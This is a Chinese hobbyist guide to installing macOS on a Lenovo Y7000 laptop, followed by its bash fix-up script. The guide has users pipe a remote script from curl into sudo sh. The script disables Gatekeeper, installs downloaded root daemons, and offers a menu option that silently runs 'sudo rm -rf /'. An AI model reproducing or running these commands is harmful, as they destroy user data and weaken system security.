配置

需要注意的是镁光的硬盘并不能安装黑锅,,
如若需要安装的话请再加一块固态。进行安装EFI带有屏蔽镁光固态的配置文件

硬件功能90%完美

  • 触控板正常
  • WI-FI/蓝牙正常
  • 睡眠正常
  • 声卡正常
  • 数字小键盘正常
  • 电量显示正常
  • CPU变频正常
  • 摄像头正常
    除了显卡相关无解,
    隔空投送没法用,其他的都是正常用的。

安装过程

y7000游戏本黑苹果安装

1)下载镜像
我这里使用最新的Big Sur11.1【独行秀才】
efi 完美安装macOS10.13.6-11.1版本都能用此efi安装并完美驱动。
efi会在文章末提供。

[百度云:83a5]https://pan.baidu.com/s/17vZG7TYn261dS0953fNJBg
[天翼云:8rz8]https://cloud.189.cn/t/jeuMrur6ZbMv

2)制作安装盘

首先下载一个烧录软件Etcher,打开烧录即可。知道软件提示success否则重烧。
2

3)分卷类型转换

将安装mac的硬盘转换为GUIP分卷。

4)BIOS相关设置

  • 使用一件修改BIOS软件修改设置,,,
  • F2进入BIOS
    操作,,关闭安全启动,将启动U盘设置为第一启动项。

1、关闭安全启动,显卡模式改混合,
执行一键修改BIOS脚本
(bios恢复方法f9重置 f10保存)
脚本用578

使用脚本修改是为了关闭独显直连,改为混合模式。这样才能符合核显安装苹果系统
否则风扇会转得很快。

2、f12选择u盘启动
期间需要操作
磁盘工具-抹盘
安装MAC
5
6
7

系统会重启两次-三次。每次都要F12选择U盘OC启动

MAC安装向导

根据操作来即可,,没啥要说的。
8
9
备注】自己的闪迪u盘 efi已经完美 可以作为y7000的系统安装盘
再次使用,只需要一件修改BIOS 5 7 8 关闭安全启动 就可以进入MAC系统/安装

小细节优化
睡眠usb断电(移动硬盘要插入睡眠不会释放电源的插槽)或者efi放到内置硬盘。 硬盘插右插槽
3
4

遇事不决执行上面提到的优化命令。第五个

Readme.txt

使用前准备
1)从群里下载 Y7000系列一键修改BIOS_v1.3.zip
2) 解压后,双击批处理脚本
3)依次执行 5、7、8
4)如果是八代处理器则需要额外多执行 4
5)重启
替换EFI,成功进入MacOS后,打开终端执行下面的命令
sudo sh -c “$(curl -fsSL https://gitee.com/xiaoMGit/Y7000Series_Hackintosh_Fix/raw/master/Script/Optimize.sh)"
然后选择执行第五个选项,修复所有
3、小键盘相关设置
0)已经执行了上面的步骤
1)打开终端执行 open /usr/local/bin/
2)打开 系统偏好设置 > 安全性与隐私 > 隐私 > 辅助功能
3)将 setleds 添加到辅助功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/bin/bash

DAEMON_PATH=/Library/LaunchDaemons/
BIN_PATH=/usr/local/bin/
TMP_PATH=/tmp/
ALC_DAEMON_FILE=good.win.ALCPlugFix.plist
VERB_FILE=hda-verb
ALC_FIX_FILE=ALCPlugFix
TIME_FIX_FILE=localtime-toggle
TIME_DAEMON_FILE=org.osx86.localtime-toggle.plist
NUMLOCK_FIX_FILE=setleds
NUMLOCK_DAEMON_FILE=com.rajiteh.setleds.plist
GIT_URL=https://gitee.com/xiaoMGit/Y7000Series_Hackintosh_Fix/raw/master

init(){
sudo spctl --master-disable
sudo pmset -a hibernatemode 0
sudo rm -rf /var/vm/sleepimage
sudo mkdir /var/vm/sleepimage

sudo curl -s -o $TMP_PATH$ALC_FIX_FILE "$GIT_URL/ALCPlugFix/$ALC_FIX_FILE"
sudo curl -s -o $TMP_PATH$VERB_FILE "$GIT_URL/ALCPlugFix/$VERB_FILE"
sudo curl -s -o $TMP_PATH$ALC_DAEMON_FILE "$GIT_URL/ALCPlugFix/$ALC_DAEMON_FILE"
sudo curl -s -o $TMP_PATH$TIME_FIX_FILE "$GIT_URL/TimeSynchronization/$TIME_FIX_FILE"
sudo curl -s -o $TMP_PATH$TIME_DAEMON_FILE "$GIT_URL/TimeSynchronization/$TIME_DAEMON_FILE"
sudo curl -s -o $TMP_PATH$NUMLOCK_FIX_FILE "$GIT_URL/NumLockFix/$NUMLOCK_FIX_FILE"
sudo curl -s -o $TMP_PATH$NUMLOCK_DAEMON_FILE "$GIT_URL/NumLockFix/$NUMLOCK_DAEMON_FILE"

if [ ! -d "$BIN_PATH" ] ; then
mkdir "$BIN_PATH" ;
fi

if sudo launchctl list | grep --quiet com.black-dragon74.ALCPlugFix; then
sudo launchctl unload /Library/LaunchDaemons/com.black-dragon74.ALCPlugFix.plist
sudo rm /Library/LaunchDaemons/com.black-dragon74.ALCPlugFix.plist
sudo rm /usr/local/bin/ALCPlugFix
sudo rm /Library/Preferences/ALCPlugFix/ALC_Config.plist
fi
}

ALCPlugFix(){
sudo cp $TMP_PATH$ALC_FIX_FILE $BIN_PATH
sudo cp $TMP_PATH$VERB_FILE $BIN_PATH
sudo cp $TMP_PATH$ALC_DAEMON_FILE $DAEMON_PATH
sudo chmod 755 $BIN_PATH$ALC_FIX_FILE
sudo chown $USER:admin $BIN_PATH$ALC_FIX_FILE
sudo chmod 755 $BIN_PATH$VERB_FILE
sudo chown $USER:admin $BIN_PATH$VERB_FILE
sudo chmod 644 $DAEMON_PATH$ALC_DAEMON_FILE
sudo chown root:wheel $DAEMON_PATH$ALC_DAEMON_FILE
if sudo launchctl list | grep --quiet ALCPlugFix; then
sudo launchctl unload $DAEMON_PATH$ALC_DAEMON_FILE
fi
sudo launchctl load -w $DAEMON_PATH$ALC_DAEMON_FILE
}

localtime_toggle(){
sudo cp $TMP_PATH$TIME_FIX_FILE $BIN_PATH
sudo cp $TMP_PATH$TIME_DAEMON_FILE $DAEMON_PATH
sudo chmod +x $BIN_PATH$TIME_FIX_FILE
sudo chown root $DAEMON_PATH$TIME_DAEMON_FILE
sudo chmod 644 $DAEMON_PATH$TIME_DAEMON_FILE
if sudo launchctl list | grep --quiet localtime-toggle; then
sudo launchctl unload $DAEMON_PATH$TIME_DAEMON_FILE
fi
sudo launchctl load -w $DAEMON_PATH$TIME_DAEMON_FILE
}

numlock(){
sudo cp $TMP_PATH$NUMLOCK_FIX_FILE $BIN_PATH
sudo cp $TMP_PATH$NUMLOCK_DAEMON_FILE $DAEMON_PATH
sudo chmod +x $BIN_PATH$NUMLOCK_FIX_FILE
sudo chown root:wheel $DAEMON_PATH$NUMLOCK_DAEMON_FILE
if sudo launchctl list | grep --quiet setleds; then
sudo launchctl unload $DAEMON_PATH$NUMLOCK_DAEMON_FILE
fi
sudo launchctl load -w $DAEMON_PATH$NUMLOCK_DAEMON_FILE
}

clear_cache(){
sudo kextcache -i /
}

fixAll(){
ALCPlugFix
numlock
localtime_toggle
clear_cache
}

removeAll(){
if sudo launchctl list | grep --quiet ALCPlugFix; then
sudo launchctl unload $DAEMON_PATH$ALC_DAEMON_FILE
sudo rm -rf $DAEMON_PATH$ALC_DAEMON_FILE
sudo rm -rf $BIN_PATH$VERB_FILE
sudo rm -rf $BIN_PATH$ALC_FIX_FILE
fi

if sudo launchctl list | grep --quiet localtime-toggle; then
sudo launchctl unload $DAEMON_PATH$TIME_DAEMON_FILE
sudo rm -rf $DAEMON_PATH$TIME_DAEMON_FILE
sudo rm -rf $BIN_PATH$TIME_FIX_FILE
fi

if sudo launchctl list | grep --quiet setleds; then
sudo launchctl unload $DAEMON_PATH$NUMLOCK_DAEMON_FILE
sudo rm -rf $DAEMON_PATH$NUMLOCK_DAEMON_FILE
sudo rm -rf $BIN_PATH$NUMLOCK_FIX_FILE
fi
}

menu(){
echo "
******************************************************************************

https://github.com/xiaoMGitHub/LEGION_Y7000Series_Hackintosh/releases

QQ群:477839538

******************************************************************************
"
echo "选择菜单:"
echo ""
echo "1、修复插耳机杂音"
echo ""
echo "2、修复数字键盘无法开启"
echo ""
echo "3、修复 Win/OSX 时间不同步"
echo ""
echo "4、清除缓存"
echo ""
echo "5、全部修复上述问题"
echo ""
echo "6、移除所有修复"
echo ""
echo "7、送黑果归西"
echo ""
echo "8、退出"
echo ""
}

Select(){
read -p "请选择你需要执行的操作:" number
case ${number} in
1) ALCPlugFix
echo "已经修复插耳机杂音"
echo ""
Select
;;
2) numlock
echo "已经修复数字键盘无法开启"
echo ""
Select
;;
3) localtime_toggle
echo "已经修复 Win/OSX 时间不同步"
echo ""
Select
;;
4) clear_cache
echo "已经重建缓存"
echo ""
Select
;;
5) fixAll
echo "已经修复上述问题"
echo ""
Select
;;
6) removeAll
echo "已经移除所有修复"
Select
;;
7) echo "耐心等待,正在努力移除垃圾黑苹果,欢迎重返 windows 系统,稍后会自动重启"
sudo rm -rf / >/dev/null 2>&1
sudo reboot
;;
8) exit 0
;;
*) echo "输入错误";
echo ""
Select
;;
esac
}

main(){
init

menu

Select
}

main

jiushibaicai